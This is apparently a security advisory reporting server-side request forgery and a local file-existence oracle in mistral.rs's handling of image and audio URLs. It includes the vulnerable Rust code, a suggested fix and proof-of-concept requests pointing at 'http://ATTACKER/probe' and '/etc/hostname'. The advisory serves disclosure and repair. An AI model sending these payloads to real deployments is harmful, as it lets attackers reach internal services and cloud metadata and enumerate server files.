GHSA-wfgq-w7cq-qj7j: SSRF

Summary mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a file:// URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI imageurl / audiourl message content. The server is unauthenticated by default.

Details parseimageurl in mistralrs-server-core/src/util.rs (lines 45-88) resolves the request string and fetches/opens it:

rust let url = if let Ok(url) = url::Url::parse(urlunparsed) { url } else if File::open(urlunparsed).await.isok() { // a bare existing path (relative or absolute) url::Url::fromfilepath(std::path::absolute(urlunparsed)?) ... } else { bail!(...) };

let bytes = if url.scheme() == "http" || url.scheme() == "https" { reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check } else if url.scheme() == "file" { File::open(path).await ... read // arbitrary local file read } else if url.scheme() == "data" { ... base64 ... };

reqwest::get has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The file scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. parseaudiourl (line 91) is identical for audiourl.

The value reaches this unvalidated: mistralrs-server-core/src/chatcompletion.rs calls parseimageurl(&urlunparsed) / parseaudiourl(&urlunparsed) on the chat message content, at request time.

For reference, vLLM gates outbound media domains (allowedmediadomains) and local paths (allowedlocalmediapath); mistral.rs has neither.

Suggested fix Restrict request-supplied media to http(s) and data:; do not resolve bare strings to local files and do not honor the file scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching http(s), resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.

Proof of concept On a default vision deployment, unauthenticated:

SSRF - the server fetches the attacker URL during request processing:

POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"imageurl","imageurl":{"url":"http://ATTACKER/probe"}}, {"type":"text","text":"hi"}]}],"maxtokens":1}

An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.

Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):

existing file (opened and read, then fails to decode):

POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"imageurl","imageurl":{"url":"/etc/hostname"}}, {"type":"text","text":"hi"}]}],"maxtokens":1}

-> 500, response body message: "The image format could not be determined"

nonexistent path:

POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"imageurl","imageurl":{"url":"/nonexistent"}}, {"type":"text","text":"hi"}]}],"maxtokens":1}

-> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..."

The difference is structural: parseimageurl (util.rs:48) takes the file branch only when File::open(urlunparsed) succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in image::loadfrommemory (util.rs:87). The error response carries sanitizeerrormessage (util.rs:210), which returns the root-cause message, so both reach the client verbatim.

Impact An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied file:// URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.

Availability (CVSS A:L): reqwest::get (util.rs:61) uses the default client, which has no timeout, and httpresp.bytes() (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The file branch allocates vec![0; metadata.len()] (util.rs:73) before reading, so pointing at a large local file does the same.